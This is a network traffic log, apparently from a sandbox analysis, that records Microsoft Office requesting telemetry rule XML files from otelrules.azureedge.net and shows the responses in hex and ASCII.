2024-11-21 21:10:36 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: f000c210-c01e-008d-4155-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211035Z-r1d97b99577dd2gchC1TEBz5ys0000000ar000000000h7wu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:36 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211037Z-178bfbc474bvjk8shC1NYC83ns00000001w000000000cqxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:37 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211037Z-178bfbc474bxkclvhC1NYC69g40000000210000000003xw6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:37 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:37 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211037Z-174c587ffdfn4nhwhC1TEB2nbc00000000kg000000009k1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:37 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:37 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211037Z-178bfbc474bp8mkvhC1NYCzqnn00000001sg00000000x33t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:37 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:38 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:38 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6a968014-801e-0015-537c-3bf97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211038Z-178bfbc474bnwsh4hC1NYC2ubs000000022g00000000gwzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:38 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:39 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:39 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211039Z-178bfbc474bwh9gmhC1NYCy3rs000000023000000000h7mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:39 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:39 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:39 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:39 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211039Z-1777c6cb7549j9hhhC1TEBzmcc0000000bfg00000000utzx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:39 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:39 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:39 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:39 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211039Z-174c587ffdf8fcgwhC1TEBnn7000000000n000000000k1ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:39 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:39 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:40 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:40 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211040Z-174c587ffdf8fcgwhC1TEBnn7000000000r0000000002frh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:40 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:40 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:40 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211040Z-1777c6cb754b7tdghC1TEBwwa40000000bsg00000000fbed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:40 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:41 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:41 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211041Z-178bfbc474bxkclvhC1NYC69g400000001wg00000000repf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:42 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:41 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
